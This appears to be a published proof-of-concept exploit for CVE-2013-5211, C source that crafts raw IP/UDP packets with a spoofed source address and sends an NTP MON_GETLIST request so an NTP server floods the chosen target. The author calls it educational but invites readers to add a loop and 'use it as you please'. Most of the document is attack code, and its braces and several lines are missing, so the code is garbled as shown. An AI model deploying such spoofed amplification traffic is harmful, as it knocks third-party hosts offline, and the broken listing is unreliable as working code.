NTP ntpd monlist Query Reflection - Denial of Service




Danilo PC







 * Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
 * Date: 28/04/2014
 * Code Author: Danilo PC - <DaNotKnow@gmail.com>
 * CVE : CVE-2013-5211

/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
 * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there, 
 *  if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.


#include <stdio.h>         //For on printf function
#include <string.h>        //For memset
#include <sys/socket.h>    //Structs and Functions used for sockets operations.
#include <stdlib.h>	   //For exit function
#include <netinet/ip.h>    //Structs for IP header

//Struct for UDP Packet
struct udpheader{
	unsigned short int udp_sourcePortNumber;
	unsigned short int udp_destinationPortNumber;
	unsigned short int udp_length;
	unsigned short int udp_checksum;

// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct 	ntpreqheader {
	unsigned char rm_vn_mode;		/* response, more, version, mode */
	unsigned char auth_seq;		/* key, sequence number */
	unsigned char implementation;		/* implementation number */
	unsigned char request;			/* request number */
	unsigned short err_nitems;		/* error code/number of data items */
	unsigned short  mbz_itemsize;		/* item size */
	char data[40];				/* data area [32 prev](176 byte max) */
	unsigned long tstamp;			/* time stamp, for authentication */
	unsigned int keyid;			/* encryption key */
	char mac[8]; 		/* (optional) 8 byte auth code */

// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes) 
    register long sum;
    unsigned short oddbyte;
    register short answer;

    while(nbytes>1) {
    if(nbytes==1) {

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);


int main(int argc, char **argv)
int status;			// Maintains the return values of the functions
struct iphdr *ip;		// Pointer to ip header struct
struct udpheader *udp;		// Pointer to udp header struct
struct ntpreqheader *ntp;	// Pointer to ntp request header struct
int sockfd;			// Maintains the socket file descriptor
int one = 1;			// Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest;	// Maintains the data of the destination address
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself

// Parameters check
	if( argc != 3){
		printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
		printf("Example: ./ntpDdos \n");
		printf("Watch it on wireshark!\n");
		printf("Coded for education purpose only!\n");

// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
	sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
	if (sockfd == -1){
		printf("Error on initializing the socket\n");

//Sets the option IP_HDRINCL
	status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
	if (status == -1){
                printf("Error on setting the option HDRINCL on socket\n");

//"Zeroes" all the packet stack
	memset( packet, 0, sizeof(packet) );

//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
	ip = (struct iphdr *)packet;
	udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
	ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );

//Fill the IP Header
	ip->version = 4;		//IPv4
        ip->ihl = 5;			//Size of the Ip header, minimum 5
        ip->tos = 0;			//Type of service, the default value is 0
        ip->tot_len = sizeof(packet);   //Size of the datagram
        ip->id = htons(1234);   	//LengthIdentification Number
        ip->frag_off = 0;		//Flags, zero represents reserved
        ip->ttl = 255;	      		//Time to Live. Maximum of 255
        ip->protocol = IPPROTO_UDP;	//Sets the UDP as the next layer protocol
        ip->check = 0;	      		//Checksum.
        ip->saddr = inet_addr( argv[1] );  //Source ip ( spoofing goes here)
        ip->daddr = inet_addr( argv[2] ); //Destination IP

	//Fills the UDP Header
	udp->udp_sourcePortNumber = htons( atoi( "123" ) );       //Source Port
	udp->udp_destinationPortNumber = htons(atoi("123")) ;   //Destination Port
	udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
	udp->udp_checksum = 0;				     //Checksum

	//Calculate the checksums
	ip->check = csum((unsigned short *)packet, ip->tot_len);   //Calculate the checksum for iP header

	//Sets the destination data
	dest.sin_family = AF_INET;				 // Address Family Ipv4
	dest.sin_port = htons (atoi( "123" ) ) ; 		// Destination port
	dest.sin_addr.s_addr = inet_addr( argv[2] );       // Destination Endereço para onde se quer enviar o pacote 

	//Fills the NTP header
	//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
	//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the 
	// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet. 
	// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
	ntp->rm_vn_mode=0x17;       //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
	ntp->implementation=0x03;   //Sets the implementation to 3
	ntp->request=0x2a;	    //Sets the request field to 42 ( MON_GETLIST )
				    //All the other fields of the struct are zeroed

	// Sends the packets
	status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
		if(status <0){
			printf("Failed to send the packets\n");